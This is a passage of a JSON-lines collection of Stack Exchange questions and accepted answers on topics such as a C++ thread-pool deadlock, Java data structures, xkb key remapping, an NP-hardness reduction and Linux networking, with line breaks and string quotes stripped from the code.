wakeup_mutex()#endif{    // This is more efficient than creating the 'threads' vector with    // size constructor and populating with std::generate since    // std::thread objects will be constructed only to be replaced    threads.reserve(concurrency);    for (auto a = zero(concurrency); a < concurrency; ++a)    {        // emplace_back so thread is constructed in place        threads.emplace_back([this]()            {                // checks whether parent threadpool is being destroyed,                // if it is, stop running.                while (!shutdown_flag.load())                {                    auto current_task_package = std::unique_ptr<task_package>{nullptr};                    // use pop_task so we only ever have one reference to the                    // task_package                    if (pop_task(current_task_package))                    {                        try                        {                            current_task_package->task();                            current_task_package->completion_promise.set_value();                        }                        catch (...)                        {                            // try and tell the owner that something bad has happened...                            try                            {                                // ...but this can also throw, so stay protected                                current_task_package->completion_promise.set_exception(std::current_exception());                            }                            catch (...) { }                        }                    }                    else                    {                        // rather than spinning, give up thread time to other things#ifdef USE_YIELD                        std::this_thread::yield();#else                        auto lock = std::unique_lock<std::mutex>(wakeup_mutex);                        wakeup_flag = false;                        wakeup_signal.wait(lock, [this](){ return wakeup_flag; });#endif                    }                }            });    }};threadpool::~threadpool(){    // signal that threads should not perform any new work    shutdown_flag.store(true);#ifndef USE_YIELD    {        std::lock_guard<std::mutex> lock(wakeup_mutex);        wakeup_flag = true;        wakeup_signal.notify_all();    }#endif    // wait for work to complete then destroy thread    for (auto && thread : threads)    {        thread.join();    }    auto current_task_package = std::unique_ptr<task_package>{nullptr};    // signal to each uncomplete task that it will not complete due to    // threadpool destruction    while (pop_task(current_task_package))    {        try        {            auto except = std::runtime_error(Could not perform task before threadpool destruction);            current_task_package->completion_promise.set_exception(std::make_exception_ptr(except));        }        catch (...) { }    }};std::future<void> threadpool::run(std::function<void()> && task){    auto promise = std::promise<void>{};    auto future = promise.get_future();    // ensures no memory leak if push throws (it shouldn't but to be safe)    auto package = std::make_unique<task_package>();    package->completion_promise = std::move(promise);    package->task = std::forward<std::function<void()> >(task);    tasks.push(package.get());    // no longer in danger, can revoke ownership so    // tasks is not left with dangling reference    package.release();#ifndef USE_YIELD    {        std::lock_guard<std::mutex> lock(wakeup_mutex);        wakeup_flag = true;        wakeup_signal.notify_all();    }#endif    return future;};inline bool threadpool::pop_task(std::unique_ptr<task_package> & out){    task_package * temp_ptr = nullptr;    if (tasks.pop(temp_ptr))    {        out = std::unique_ptr<task_package>(temp_ptr);        return true;    }    return false;}main.cpp#include <iostream>#include <chrono>#include <queue>#include <numeric>#include threadpool.hppthreadpool pool1;threadpool pool2;//  pool3 is used as a parasite, increasing the number threads it uses//  pronounces the negative effect of spinningthreadpool pool3(4 * std::thread::hardware_concurrency());std::atomic_flag cout_flag = ATOMIC_FLAG_INIT;int main(){    auto results1 = std::queue< std::future<void> >();    auto results2 = std::queue< std::future<void> >();    auto lambda1 = []()    {        while (cout_flag.test_and_set(std::memory_order_acquire)) ;        std::cout << running on pool1 threadid:  << std::this_thread::get_id() << std::endl;        cout_flag.clear(std::memory_order_release);    };    auto lambda2 = []()    {        while (cout_flag.test_and_set(std::memory_order_acquire)) ;        std::cout << running on pool2 threadid:  << std::this_thread::get_id() << std::endl;        cout_flag.clear(std::memory_order_release);    };    auto times = std::vector<std::chrono::nanoseconds>{};    times.reserve(10000);    for (int j = 0; j < 10000; ++j)    {        cout_flag.test_and_set(std::memory_order_acquire);        std::cout << round  << j << std::endl;        for (unsigned u = 0; u < 3; ++u)        {            results1.push(pool1.run(lambda1));            results2.push(pool2.run(lambda2));        }        int i = 0;        auto start = std::chrono::steady_clock::now();        cout_flag.clear(std::memory_order_release);        //  main loop        while (i++ < 100)        {            auto & future1 = results1.front();            future1.get();            results1.pop();            results1.push(pool1.run(lambda1));            auto & future2 = results2.front();            future2.get();            results2.pop();            results2.push(pool2.run(lambda2));        }        while (!results1.empty())        {            results1.front().get();            results1.pop();        }        while (!results2.empty())        {            results2.front().get();            results2.pop();        }        auto finish = std::chrono::steady_clock::now();        times.push_back(finish - start);    }    auto average = std::accumulate(std::begin(times), std::end(times), std::chrono::nanoseconds{}) / (206 * times.size());    std::cout << Average time per task:  << static_cast<double>(average.count()) / 1000 <<  us << std::endl;}Are there any issues, improvements or fixes to the non-yield code that you can see?"  , "title": "Platform independant thread pool v2"  , "tags": "c++;multithreading;thread safety;reinventing the wheel;c++14"  , "accepted_answer": "OK some fixes to stop you getting trapped:You were getting stuck because you could notify_all() and wake the threads in the condition variable. Then after the notification another thread can set wakeup_flag to false thus trapping the threads in the condition variable.ExampleThread 1: is at the line:auto lock = std::unique_lock(wakeup_mutex);But is unscheduled before it starts executing this line (for another processes).Thread 2: (the main thread) now enters the destructor (set shutdown_flag) and the then locks mutex wakeup_mutex.Thread 1: Even if thread 1 wakes up now. It can not proceed because of the lock.Thread 2: Proceeds. Sets wakeup_flag to true and notify_all() waiking all threads on the condition variable; thus releasing them. It releases the lock. and continues in the destructor.Thread 1: Can now proceed. It set wakeup_flag to false. And then wait() on the condition variable. It will never be woken up as it missed the notify_all().Thread 3/4/5/6/7/8: Wake up (as they were waiting on condition variable and did receive the notify_all()). So they start to execute. But before they are released they all check wakeup_flag which is now false so go back to waiting on the condition variable.The same scenario can apply to run(). In the above scenario replace destructor and run() and you get jobs left on the queue with nobody working on them.Don't use another variable wakeup_flag to keep the state where you should run in. You already have two of these. tasks.empty() and shutdown_flag. These should be what you test against.    auto lock = std::unique_lock<std::mutex>(wakeup_mutex);    wakeup_signal.wait(lock, [this]()             { return !tasks.empty()         // Wake if there are jobs                   ||  shutdown_flag.load(); // Or we are shutting down             });Once you do this you don't need to wake all the threads when you add a new task. Just wake one of them.std::future<void> threadpool::run(std::function<void()> && task) {    // STUFF    // Don't need this anymore (as you are not manipulating state)    // std::lock_guard<std::mutex> lock(wakeup_mutex);    wakeup_signal.notify_one();   // Changed from notify_all"  } 
{  "id": "_unix.188007"  , "question": "Upgrading kernel manually on Ubuntu 14.04 can cause trouble with NVIDIA drivers? (one of the troubles could be booting to black screen)I had lot of trouble with installing NVIDIA graphics drivers and getting it work, I had to reinstall my Ubuntu 14.04 four times.Few reasons were installing nvidia*.run file and booting to black screen, or installing Intel Graphics for Linux and booting to black screen etc. I am tired of solving those problems.I am want to know if there could be any problem before upgrading Linux kernel. Any advice would help"  , "title": "Is it safe to upgrade kernel manually on a system which is using NVIDIA drivers?"  , "tags": "linux kernel;kernel modules;nvidia"  , "accepted_answer": "Not always, newer versions of kernel may not be able to build DKMS modules with nvidia because of which nvidia drivers may not work when booted with that kernel.As of 25 April 2015 I tried to install Linux kernel v4 which failed to work with nvidia so I had to remove it."  } 
{  "id": "_codereview.64887"  , "question": "For the queries mentioned in link in 3 parts, the first two parts have been addressed, as mentioned below:Part I (6 points)list/DList.java contains a skeleton of a doubly-linked list class. Fill in themethod implementations.Note: node is passed in these methods so that user of class DList can avoid  slow \\$O(n)\\$ method to access each successive element.Answer to Part I: Filled in methods insertFront() insertBack() front() back() next() prev() insertAfter() insertBefore() remove() in the below code.Part II (1 point)Our ADT is not as well protected as we would like. There are several ways by which a hostile (or stupid) application can corrupt our DList (i.e., make itviolate an invariant) through method calls alone.Answer to Part II: Added a member protected DList listp in class DListNode to make sure that user passes the node which is actually part of the list instead of some junk node. This is one way list can be avoided from corruption. Please find class DListNode below./* DList.java */package list;/** *  A DList is a mutable doubly-linked list ADT.  Its implementation is *  circularly-linked and employs a sentinel (dummy) node at the head *  of the list. * *  DO NOT CHANGE ANY METHOD PROTOTYPES IN THIS FILE. */public class DList {  /**   *  head references the sentinel node.   *  size is the number of items in the list.  (The sentinel node does not   *       store an item.)   *   *  DO NOT CHANGE THE FOLLOWING FIELD DECLARATIONS.   */  protected DListNode head;  protected int size;  /* DList invariants:   *  1)  head != null.   *  2)  For any DListNode x in a DList, x.next != null.   *  3)  For any DListNode x in a DList, x.prev != null.   *  4)  For any DListNode x in a DList, if x.next == y, then y.prev == x.   *  5)  For any DListNode x in a DList, if x.prev == y, then y.next == x.   *  6)  size is the number of DListNodes, NOT COUNTING the sentinel,   *      that can be accessed from the sentinel (head) by a sequence of   *      next references.   */  /**   *  newNode() calls the DListNode constructor.  Use this class to allocate   *  new DListNodes rather than calling the DListNode constructor directly.   *  That way, only this method needs to be overridden if a subclass of DList   *  wants to use a different kind of node.   *  @param item the item to store in the node.   *  @param prev the node previous to this node.   *  @param next the node following this node.   */  protected DListNode newNode(Object item, DListNode prev, DListNode next, DList listp) {    return new DListNode(item, prev, next, listp);  }  /**   *  DList() constructor for an empty DList.   */  public DList() {    this.head = new DListNode(Integer.MIN_VALUE, null, null, null);    this.head.next = this.head;    this.head.prev = this.head;    this.head.listp = this;    this.size = 0;  }  /**   *  isEmpty() returns true if this DList is empty, false otherwise.   *  @return true if this DList is empty, false otherwise.    *  Performance:  runs in O(1) time.   */  public boolean isEmpty() {    return size == 0;  }  /**    *  length() returns the length of this DList.    *  @return the length of this DList.   *  Performance:  runs in O(1) time.   */  public int length() {    return size;  }  /**   *  insertFront() inserts an item at the front of this DList.   *  @param item is the item to be inserted.   *  Performance:  runs in O(1) time.   */  public void insertFront(Object item) {    this.head.next = newNode(item, this.head, this.head.next, this);    if(this.size==0){        this.head.prev = this.head.next;    }else{        this.head.next.next.prev = this.head.next;    }    this.size++;  }  /**   *  insertBack() inserts an item at the back of this DList.   *  @param item is the item to be inserted.   *  Performance:  runs in O(1) time.   */  public void insertBack(Object item) {    this.head.prev = newNode(item, this.head.prev, this.head, this);    if(this.size == 0){        this.head.next = this.head.prev;    }else{        this.head.prev.prev.next = this.head.prev;    }    this.size++;  }  /**   *  front() returns the node at the front of this DList.  If the DList is   *  empty, return null.   *   *  Do NOT return the sentinel under any circumstances!   *   *  @return the node at the front of this DList.   *  Performance:  runs in O(1) time.   */  public Object front() {    if(this.size >0){        return this.head.next.item;    }else{        return null;    }  }  /**   *  back() returns the node at the back of this DList.  If the DList is   *  empty, return null.   *   *  Do NOT return the sentinel under any circumstances!   *   *  @return the node at the back of this DList.   *  Performance:  runs in O(1) time.   */  public Object back() {    if(this.size > 0){        return this.head.prev.item;    }else{        return null;    }  }  /**   *  next() returns the node following node in this DList.  If node is   *  null, or node is the last node in this DList, return null.   *   *  Just to make sure that passed node is part of the list that we are    *  working with, listp is added as member of node   *  Do NOT return the sentinel under any circumstances!   *   *  @param node the node whose successor is sought.   *  @return the node following node.   *  Performance:  runs in O(1) time.   */  public DListNode next(DListNode node) {    if((node.next != this.head) && (node.listp == this)){        return node.next;    }else{        return null;    }  }  /**   *  prev() returns the node prior to node in this DList.  If node is   *  null, or node is the first node in this DList, return null.   *   *  Do NOT return the sentinel under any circumstances!   *   *  @param node the node whose predecessor is sought.   *  @return the node prior to node.   *  Performance:  runs in O(1) time.   */  public DListNode prev(DListNode node) {    if((node.prev != this.head) && (node.listp == this)){        return node.prev;    }else{        return null;    }  }  /**   *  insertAfter() inserts an item in this DList immediately following node.   *  If node is null, do nothing.   *  @param item the item to be inserted.   *  @param node the node to insert the item after.   *  Performance:  runs in O(1) time.   */  public void insertAfter(Object item, DListNode node) {    if((node != null) && (node.listp == this)){        node.next = new DListNode(item, node, node.next, this);        node.next.next.prev = node.next;    }  }  /**   *  insertBefore() inserts an item in this DList immediately before node.   *  If node is null, do nothing.   *  @param item the item to be inserted.   *  @param node the node to insert the item before.   *  Performance:  runs in O(1) time.   */  public void insertBefore(Object item, DListNode node) {    if((node != null) && (node.listp == this)){        node.prev = new DListNode(item, node.prev, node, this);        node.prev.prev.next = node.prev;    }  }  /**   *  remove() removes node from this DList.  If node is null, do nothing.   *  Performance:  runs in O(1) time.   */  public void remove(DListNode node) {    if((node != null) && (node.listp == this)){        node.prev.next = node.next;        node.next.prev = node.prev;    }  }  /**   *  toString() returns a String representation of this DList.   *   *  DO NOT CHANGE THIS METHOD.   *   *  @return a String representation of this DList.   *  Performance:  runs in O(n) time, where n is the length of the list.   */  public String toString() {    String result = [  ;    DListNode current = head.next;    while (current != head) {      result = result + current.item +   ;      current = current.next;    }    return result + ];  }}/* DListNode.java */package list;/** *  A DListNode is a node in a DList (doubly-linked list). */public class DListNode {  /**   *  item references the item stored in the current node.   *  prev references the previous node in the DList.   *  next references the next node in the DList.   *   *  DO NOT CHANGE THE FOLLOWING FIELD DECLARATIONS.   */   public Object item;   protected DListNode prev;   protected DListNode next;   protected DList listp;  /**   *  DListNode() constructor.   *  @param i the item to store in the node.   *  @param p the node previous to this node.   *  @param n the node following this node.   */  DListNode(Object i, DListNode p, DListNode n, DList listp) {    this.item = i;    this.prev = p;    this.next = n;    this.listp = listp;  }}My question:As part of code changes for Part I, do you think the query mentioned as Part I is addressed?As part of code changes for Part II, does the observation and solution to avoid corruption of class DList looks correct?"  , "title": "Doubly circular linked list implementation with successive update in O(1)"  , "tags": "java;linked list;homework;circular list"  } 
{  "id": "_unix.303429"  , "question": "Currently, I am trying to change the brightness of my Ubuntu system. This is my first time using Ubuntu. I couldn't change the brightness using the fn key. This is because my keyboard don't have the fn key. So i found out through the online source that it is possible to change the brightness my modifying the value of the acpi_video0/brightness file. I tried changing it. It seems that the value can be changed but in the screen has no effect. I have also tried changing commands in the GRUB file but its still the same. My Ubuntu system is too dim now. I need to increase it somehow. *-display                  description: VGA compatible controller   product: Intel Corporation   vendor: Intel Corporation   physical id: 2   bus info: pci@0000:00:02.0   version: 06   width: 64 bits   clock: 33MHz   capabilities: pciexpress msi pm vga_controller bus_master cap_list rom   configuration: driver=i915_bpo latency=0   resources: irq:324 memory:de000000-deffffff memory:c0000000-cfffffff ioport:f000(size=64)"  , "title": "acpi_video0 brightness no effect on the screen"  , "tags": "ubuntu;acpi;brightness"  } 
{  "id": "_softwareengineering.198379"  , "question": "I am currently working on creating a toolkit for work and I've gotten to the point where I'm wondering about error reporting.  Basically all of my tools, which consist of a grouping of classes, will eventually be ran from a main method.  Many of these tools will be doing operations on file like reading them in and converting them into some sort of array of objects or writing an object array to a file in a certain format. Whenever you are dealing with data that your program didn't create there is always room for error and those errors need to be known.With that said what would be a good method to document all of the errors that occur during the processing and allow them to be retrieved later?  Considering that I may want to send these error information out later I don't think that Log4J would be a good fit.  I was considering using a string builder in each of my processing classes and append all error to that builder and retrieve it later at my leisure.  I was also thinking of using some sort of arrayList or something that would hold the different types of errors but I'm a bit at a loss.  Does anyone have any good methods of doing this?  "  , "title": "Standard Java Error Reporting"  , "tags": "java"  , "accepted_answer": "It sounds like you are trying to enable remote logging.  Log4J is a fine fit for this.  What you can do in the most basic way possible is open up a socket that sends data to a message queue.  This message queue will have a listener attached to it that can handle the different log messages it receives.  This data can later be persisted into a database which you can than query against to generate reports.  Using StringBuilder makes very little to no sense, because it sounds like you are trying to just consume a bunch of space on the host system.FROM THE COMMENTS Correct, once these errors are fixed I no longer need them. Is it  standard practice to funnel all errors from applications into a single  database? I don't mind keeping the data if this is the correct method  of doing so however only the newest information will be looked atIt is more a standard practice to keep a dedicated audit log, depending on your policy / legal requirements this can be anywhere from 90 days to 2 years.  This enables you to go back and prove that steps were taken to mitigate compliance issues, track down malicious activity, etc.  While it is true that logs are only good for a limited period of time, it is greatly beneficial to see audit logs when you are trying to track down a recurring issue in the system."  } 
{  "id": "_unix.212573"  , "question": "There seem to be several options for setxkbmap such as -option caps:backspace which makes caps a backspace. However I cannot seem to find an option that makes backspace an escape key. How do I create a single setxkbmap command that changes the backspace key to an escape key?"  , "title": "How can I make backspace act as escape using setxkbmap?"  , "tags": "keyboard shortcuts;xkb"  , "accepted_answer": "You'll have to define a new option.First, make a new symbol file e.g. /usr/share/X11/xkb/symbols/bksp with the following content:partial alphanumeric_keysxkb_symbols bksp_escape {    key <BKSP> { [ Escape ] };};Then create the new option like this:bksp:bksp_escape  =   +bksp(bksp_escape)(where bksp is the name of the symbol file and bksp_escape is the group name that was defined in this file) and add it to the options list in the rules set you're using - assuming evdev - so place it in  /usr/share/X11/xkb/rules/evdev under ! option  =   symbols:! option    =   symbols  bksp:bksp_escape  =   +bksp(bksp_escape)  ...........  grp:shift_toggle  =   +group(shifts_toggle)  altwin:menu       =   +altwin(menu)Add it also to /usr/share/X11/xkb/rules/evdev.lst (with a short description) under ! option (e.g. right before ctrl):! option  ........  bksp                 Backspace key behavior  bksp:bksp_escape     Backspace as Escape  ctrl                 Ctrl key position  ctrl:nocaps          Caps Lock as CtrlYou can then run, as a regular user:setxkbmap -layout us -option bksp:bksp_escapeto enable the option and make BKSP behave as ESC.You can also verify if:setxkbmap -queryreports:rules:      evdevmodel:      pc104layout:     usoptions:    bksp:bksp_escapeand ifsetxkbmap -printoutputs:xkb_keymap {    xkb_keycodes  { include evdev+aliases(qwerty) };    xkb_types     { include complete  };    xkb_compat    { include complete  };    xkb_symbols   { include pc+us+inet(evdev)+bksp(bksp_escape) };    xkb_geometry  { include pc(pc104) };};In Gnome 3 you can make the option permanent via dconf (or gsettings in terminal) e.g. add 'bksp:bksp_escape' to the org>gnome>desktop>input-sources>xkb-options key (note that in dconf values are separated by comma+space).Finally, note that both evdev and evdev.lst will be overwritten on future upgrades (but not your custom bksp symbol file) so you'll have to edit them again each time the package that owns them is upgraded (on archlinux it's xkeyboard-config). It's easier to write a script that does that, e.g.sed '/! option[[:blank:]]*=[[:blank:]]*symbols/a\\  bksp:bksp_escape  =   +bksp(bksp_escape)' /usr/share/X11/xkb/rules/evdevsed '/! option/a\\  bksp                 Backspace key behavior\\  bksp:bksp_escape     Backspace as Escape' /usr/share/X11/xkb/rules/evdev.lstIf you're happy with the result use sed -i (or -i.bak if you want to make backup copies) to actually edit those files in-place."  } 
{  "id": "_codereview.54290"  , "question": "import java.util.Arrays;public class BinarySearch {  // this class should not be instantiated  private BinarySearch() { }  // searches for the integer key in the sorted array a[]  // @param key the search key  // @param a the array of integers, must be sorted in ascending order  // @return index of key in array a[] if present; -1 if not present  public static int rank(int key, int[] a) {    int lo = 0;    int hi = a.length - 1;    while (lo <= hi) {      // key is in a[lo..hi] or not present      int mid = lo + (hi - lo) / 2;      if (key < a[mid]) hi = mid - 1;      else if (key > a[mid]) lo = mid + 1;      else return mid;    }    return 1;  }  // reads in a sequence of integers from the whitelist file, specified as a command line argument. reads in integers from standard input and prints to standard output  // those integers that do not appear in the file.  public static void main(String[] args){    // read the integers from a file    In in = new In(args[0]);    int[] whitelist = in.readAllInts();    // sort the array    Arrays.sort(whitelist);    // read integer key from standard input; print if not in whitelist    while (!StdIn.isEmpty()) {      int key = StdIn.readInt();      if (rank(key, whitelist) == -1)        StdOut.println(key);    }  }}"  , "title": "Is this a reasonable binary search implementation?"  , "tags": "java;algorithm;reinventing the wheel;binary search"  , "accepted_answer": "Your implentation can search integers, we expect to search in an array of any comparable objects.I think you have a bug if the element is not found. It will return 1 instead of -1 /  throwing an exception. Add unit tests.Also, Java is now open source, you can compare your implementation with the one from the JDK (Arrays.binarySearch).Also, in code style:it is recommended to use {} in if block, even if they are one-liner"  } 
{  "id": "_cstheory.8316"  , "question": "I'm looking to link a problem I'm working on to a known NP-hard problem.  I think I can model my problem as a resource constrained shortest path problem.  However, the structure of my graph is not completely arbitrary.  Thus, it will be useful to know when RCSP becomes hard.  Is it hard for a DAG, for a planar DAG, for a DAG with bounded degree?  Any help would be greatly appreciated!"  , "title": "On which classes of graphs is resource constrained shortest path (RCSP) NP-hard?"  , "tags": "cc.complexity theory;graph algorithms;np hardness;optimization"  , "accepted_answer": "I don't know if you're still interested in this (old) question, and if I understood well the resource constraints you gave in the comment; however it seems that your problem (which is slightly different from usual RCSP problems) is NP-complete for planar (undirected or directed or directed acyclic) graphs of max-degree 3.The easy reduction is from 3-SAT. Given a formula $\\varphi$ with $n$ variables $x_1,...x_n$ and $m$ clauses $C_1,...C_m$:add a resource constraint set $M_k^+$ with two vertices for each positive literal $x_k$ in $\\varphi$ and a resource constraint set $M_k^-$ with two vertices for each negative literal $\\bar{x}_k$ in $\\varphi$;start building a graph from a source node $s$ and for each variable $x_i$ split the path in two lines: the upper one traverses one vertex of all the $M_k^-$ that correspond to a negative literal $\\bar{x}_k$; the lower one traverses one vertex of all the $M_k^+$  that correspond to a positive literal $x_k$;then for each $C_j$ split the path in 3 lines that traverse in parallel the 3 vertices corresponding to the literals of $C_j$ and that are picked from the corresponding $M_k^+$ or $M_k^-$;finally add a sink node $t$.A path from $s$ to $t$ exists if and only if the original formula is satisfiable (i.e.  without loss of generality you can ask for a path of length $\\leq |V|$).Informally when traversing the variable section $x_i$, if you pick the upper line (true assignment) then you must use one of the vertices of all the $M_k^-$ resource constraint sets that also contain a vertex that can be used later to traverse (satisfy) a clause containing $\\bar{x}_i$. If you pick the lower line (false assignment) then you must use one of the vertices of all the $M_k^+$ resource constraint sets that also contain a vertex that can be used later to traverse (satisfy) a clause containing $x_i$. When traversing each clause at least one of the three vertices must be contained in a $M_k$ that has not be used yet (i.e. at least one of them can be used to satisfy the clause).The following figure should make the reduction clearer. The resource constraint sets $M_k$ are represented with distinct colors (and for every color there are exactly 2 vertices).$C_1 = x_1 \\lor \\bar{x}_2 \\lor x_3$$C_2 = x_2 \\lor \\bar{x}_3 \\lor x_4$$C_3 = \\bar{x}_1 \\lor x_3 \\lor \\bar{x}_2$You can also easily make the graph directed, acyclic and bipartite. Let me know if you need further details (or if I completely misunderstood the problem :-).As noted by Saaed the problem is fixed-parameter tractable with respect to $k$ (just consider all possible subsets of constrained nodes and for each combination run the shortest path algorithm)."  } 
{  "id": "_codereview.154087"  , "question": "Background(these are the bits technically not for review, but feel free to point out any minor points)An Entity class can be identified by a name and at least one alias:public final class Entity {    private final String name;    private final Set<String> aliases;    public Entity(String name) {        this(name, name);    }    public Entity(String name, String... aliases) {        if (aliases == null || aliases.length == 0) {            throw new IllegalArgumentException(At least one alias expected.);        }        this.name = name;        this.aliases = ImmutableSet.copyOf(aliases);    }    public String getName() {        return name;    }    public Set<String> getAliases() {        return aliases;    }}A Container interface describes how to find by a name or an alias:public interface Container {    Optional<Entity> findByName(String name);    Optional<Entity> findByAlias(String name);}For the purpose of the comparison below, it is safe to assume that an Entity can be uniquely identified by a name or alias in a Container.Lookup implementation #1This performs the mapping and comparison on-the-fly. AdvantagesMethod implementations can be read fluentlyOpens up the possibility of additional searching criteria by using a different BiPredicate, e.g. using String::equalsIgnoreCase for a case-insensitive name searchUnsure aboutPerformance, is it optimal? public final class EntityContainer implements Container {    private final Set<Entity> entities;    public EntityContainer(Entity... entities) {        if (entities == null || entities.length == 0) {            throw new IllegalArgumentException(At least one entity expected.);        }        this.entities = ImmutableSet.copyOf(entities);    }    @Override    public Optional<Entity> findByName(String name) {        return findBy(Entity::getName, Object::equals, name);    }    @Override    public Optional<Entity> findByAlias(String alias) {        return findBy(Entity::getAliases, Set::contains, alias);    }    private <X, Y> Optional<Entity> findBy(Function<Entity, ? extends X> mapper,                                           BiPredicate<X, Y> biPredicate,                                           Y lookupValue) {        return Optional.ofNullable(lookupValue)                .flatMap(y -> entities.stream()                        .filter(Objects::nonNull)                        .filter(x -> biPredicate.test(mapper.apply(x), y))                        .findAny());    }}Lookup implementation #2This relies on a good-ol' Map to perform the lookup. AdvantagesLookupUtils can be readily applied to generate other similar lookup Maps.Using LookupUtils can make the lookup more defensive than the first approach (see below) public final class AnotherEntityContainer implements Container {    private final Set<Entity> entities;    private final Map<String, Entity> byNames;    private final Map<String, Entity> byAliases;    public AnotherEntityContainer(Entity... entities) {        if (entities == null || entities.length == 0) {            throw new IllegalArgumentException(At least one entity expected.);        }        this.entities = ImmutableSet.copyOf(entities);        this.byNames = LookupUtils.mapBy(Entity::getName, entities);        this.byAliases = LookupUtils.mapByMulti(Entity::getAliases, entities);    }    @Override    public Optional<Entity> findByName(String name) {        return ofNullable(byNames.get(name));    }    @Override    public Optional<Entity> findByAlias(String alias) {        return ofNullable(byAliases.get(alias));    }}Implementation of LookupUtilspublic final class LookupUtils {    private LookupUtils() {        // empty    }    public static <K, V> Map<K, V> mapBy(Function<? super V, ? extends K> mapper,                                         V... values) {        return mapBy(values == null ? empty() : stream(values), mapper, v -> v);    }    public static <K, V> Map<K, V> mapByMulti(Function<? super V, ? extends Set<K>>mapper,                                              V... values) {        return mapBy(values == null ? Stream.<Entry<K, V>>empty()                        : stream(values).flatMap(x -> mapper.apply(x).stream().collect(                                toMap(k -> k, v -> x)).entrySet().stream()),                Entry::getKey, Entry::getValue);    }    private static <T, K, V> Map<K, V> mapBy(Stream<T> stream,                                         Function<? super T, ? extends K> keyMapper,                                         Function<? super T, ? extends V> valueMapper) {        Map<K, V> result = stream.filter(Objects::nonNull).collect(                collectingAndThen(toMap(keyMapper, valueMapper),                                    Collections::unmodifiableMap));        if (result.isEmpty()) {            throw new IllegalStateException(Empty result map unexpected.);        }        if (result.containsKey(null)) {            throw new IllegalStateException(null keys unexpected.);        }        return result;    }}The tests for an empty map or null keys are to make it a requirement that lookup maps shouldn't be empty by definition, and to follow the recommendation from Guava. Implicitly, duplicate keys will also throw an IllegalStateException courtesy of Collectors.toMap(Function, Function). May I know which would be more preferable in terms of:ReadabilityMaintainability/understandingPerformance, for some definition of it (taking in mind 'premature optimization is the root of all evil')Does it matter (i.e. will the answer change) if lookups are performed extensively?Does it matter if there is a million aliases and names, or if there's only hundreds of them?"  , "title": "Comparison of lookup methods"  , "tags": "java;comparative review;lookup"  , "accepted_answer": "The first solution is a lot more compact making it almost automatically a lot easier to comprehend and maintain.  However, performance will be far better with the Map variant.  The stream variants won't be able to do any optimization and will need to check the predicate against all elements.If you already know that this class will become a performance bottleneck (and it could easily become one with a higher number of entities combined with a high number of look-ups) then a more complicated solution is certainly waranted to get acceptable performance."  } 
{  "id": "_scicomp.20407"  , "question": "Let   $$T=1, K=100, S_0=100, \\sigma=0.05, r=0.15. $$Define $\\nu:=\\frac{2r}{\\sigma^2}-1$and $$H(y,z)=\\frac{z e^{\\pi^2 /4y}}{\\pi \\sqrt{\\pi y}}\\int_0^{\\infty} e^{-z \\cosh(u) -u^2/(4y)} \\sinh(u) \\sin(\\frac{\\pi u}{2y})du$$then next define $$ f(y,z)=\\left( \\frac{z}{S_0}\\right)^{\\nu/2}\\frac{1}{4KT}\\exp\\left(-\\frac{2(S0+z)}{KT\\sigma^2}-\\frac{\\nu^2\\sigma^2y}{8} \\right) \\times H(\\frac{\\sigma^2y}{8},\\frac{4\\sqrt{S_0 z}}{KT\\sigma^2}) $$and $$ g(y,z)=z\\frac{e^{-ry}-e^{-rT}}{rT} $$I would like to compute the following double integral $$ I=\\int_0^{\\infty}\\left[\\int_0^T g(y,z)f(y,z)dy\\right]dz. $$When I tried this with Maple, please see the picture below,it ran out of memory.I would like to ask whether there is a way to compute the above integral? What should I do to compute the integral?"  , "title": "How to compute this double integral?"  , "tags": "linear algebra;finite element;numerical analysis;discretization"  } 
{  "id": "_webmaster.13401"  , "question": "I have about 20 domains to manage. Some registered to the client (i impersonated him) and other register by me, under different name and address (over the years).I like to get ALL THE DOMAINS under one roof, one easy to manage all the registration and order in one place..what do you suggest...once in my life, i have try doteasy, which make domain managing super easy, but i don't like the prices..."  , "title": "Domain manager to consolidate many domain here and there"  , "tags": "domains"  , "accepted_answer": "Pick a company which looks like it's going to be around for a few years and move all the domains to that company. Make sure that you have written agreements with the clients who you impersonated so that it's clear who owns the domain. If you used their contact details then when the domain transfer request comes through they are going to receive it and may wonder what's happening."  } 
{  "id": "_codereview.13510"  , "question": "I have created a very simple script that will create two columns which are populated by an array. It works, but I am certain that the way that I have gone about it is not the best way. I have been searching for simple, sample scripts which would aide me in understanding how to best approach this, but all of them have been too specific to their application.This is what I have made:$assets = array('Bag', 'Charger', 'Power Cable', 'Video Cable',     'Mouse', 'Keyboard', 'Test', 'Test 2', 'Test 3');$assets_count = count($assets);$halfway_raw = $assets_count / 2;$halfway = round($halfway_raw, 0) - 1;echo '<ul class=col-1>';for($i = 0; $i < $assets_count; $i++) {    if($i == $halfway) {        echo '<li>' . $assets[$i] . '</li>';        echo '</ul>';        echo '<ul class=col-2>';    } else {        echo '<li>' . $assets[$i] . '</li>';    }}echo '</ul>';I'm looking for something that scales easily and is obviously as small as possible, which I don't think my script is."  , "title": "Dynamic two-column list, Vertical Wrap"  , "tags": "php;algorithm;html"  , "accepted_answer": "Well, this is more concise, and it should be easy enough to scale:<?php$assets = array('Bag', 'Charger', 'Power Cable', 'Video Cable', 'Mouse', 'Keyboard', 'Test', 'Test 2', 'Test 3');$half   = ceil(count($assets)/2);$columns = array(  array_slice($assets, 0, $half), // first half  array_slice($assets, $half)     // second half);foreach( $columns as $index => $column ) {  $index += 1;  echo <ul class=\\col-$index\\><li> . implode(</li><li>, $column) . </li></ul>;}?>Basically, it's using more built-in PHP functions and constructs (array_slice, implode, foreach) but is functionally identical to the original."  } 
{  "id": "_softwareengineering.212326"  , "question": "A HashMap allows only one null key. Is it because it allows only unique keys?  Or is there another reason?"  , "title": "Why does HashMap allow only one null key?"  , "tags": "java;map"  , "accepted_answer": "Why is it confusing? The javadoc for HashMap.put clearly states:Associates the specified value with the specified key in this map. If the map previously contained a mapping for the key, the old value is replaced.It clearly states what happens when you do a put with a key which was already in the map. The specific case of key == null behaves in the same way: you can't have two different mappings for the null key (just like you can't for any other key). It's not a special case, for the context of your question."  } 
{  "id": "_unix.272666"  , "question": "I've got an ASUS RT-AC66u running an OpenVPN server working fine. But on my debian server I have to add a route or else I get no responses. Just curious if there is a way to add the route to the router for persistence there, versus putting the command in /etc/network/interfaces as a post-up/pre-down rule. On debian I've added this:route add -net 10.14.0.0 netmask 255.255.255.0 gw 192.168.192.2I tried adding basically the same thing to the ASUS (not realizing that obviously shouldn't work) and broke any connection until I removed it. Would the proper syntax for it be?net 192.168.192.0 netmask 255.255.255.0 gw put.vpn.gw.here"  , "title": "How Would I Appropriated Add this Route?"  , "tags": "networking;routing;openvpn"  } 
